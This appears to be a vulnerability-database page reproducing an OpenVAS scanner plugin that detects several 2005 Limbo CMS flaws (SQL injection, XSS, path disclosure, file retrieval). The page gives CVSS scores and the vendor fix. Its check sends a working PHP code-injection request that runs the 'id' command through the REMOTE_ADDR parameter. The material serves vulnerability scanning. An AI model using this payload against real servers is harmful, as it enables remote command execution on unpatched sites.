Lucene search

K
openvasCopyright (C) 2006 Josh Zlatin-AmishavOPENVAS:136141256231020824
HistoryMar 26, 2006 - 12:00 a.m.

Limbo CMS Multiple Vulnerabilities

2006-03-2600:00:00
Copyright (C) 2006 Josh Zlatin-Amishav
plugins.openvas.org
31

6.6 Medium

AI Score

Confidence

Low

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.435 Medium

EPSS

Percentile

97.3%

The remote version of Limbo CMS is vulnerable to several flaws.

# SPDX-FileCopyrightText: 2006 Josh Zlatin-Amishav
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.20824");
  script_version("2023-12-13T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2006-03-26 17:55:15 +0200 (Sun, 26 Mar 2006)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2005-4317", "CVE-2005-4318", "CVE-2005-4319", "CVE-2005-4320");
  script_xref(name:"OSVDB", value:"21753");
  script_xref(name:"OSVDB", value:"21754");
  script_xref(name:"OSVDB", value:"21755");
  script_xref(name:"OSVDB", value:"21756");
  script_xref(name:"OSVDB", value:"21757");
  script_xref(name:"OSVDB", value:"21758");
  script_xref(name:"OSVDB", value:"21759");
  script_name("Limbo CMS Multiple Vulnerabilities");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2006 Josh Zlatin-Amishav");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "httpver.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/419470");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/15871");

  script_tag(name:"summary", value:"The remote version of Limbo CMS is vulnerable to several flaws.");

  script_tag(name:"insight", value:"Multiple flaws exist:

  - If register_globals is off and Limbo is configured to use a MySQL
  backend, then an SQL injection is possible due to improper
  sanitization of the '_SERVER[REMOTE_ADDR]' parameter.

  - The installation path is revealed when the 'doc.inc.php',
  'element.inc.php', and 'node.inc.php' files are requested when
  PHP's 'display_errors' setting is enabled.

  - An XSS attack is possible when the Stats module is used due to
  improper sanitization of the '_SERVER[REMOTE_ADDR]' parameter.

  - Arbitrary PHP files can be retrieved via the 'index2.php' script
  due to improper sanitation of the 'option' parameter.

  - An attacker can run arbitrary system commands on the remote
  system via a combination of the SQL injection and directory transversal attacks.");

  script_tag(name:"solution", value:"Apply the patch 1_0_4_2 provided by the vendor.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_vul");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

port = http_get_port(default:80);
if(!http_can_host_php(port:port))
  exit(0);

http_check_remote_code(
  check_request:string("/index2.php?_SERVER[]=&_SERVER[REMOTE_ADDR]='.system('id').exit().'&option=wrapper&module[module]=1"),
  check_result:"uid=[0-9]+.*gid=[0-9]+.*",
  command:"id",
  port:port);

exit(99);

6.6 Medium

AI Score

Confidence

Low

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.435 Medium

EPSS

Percentile

97.3%

Related for OPENVAS:136141256231020824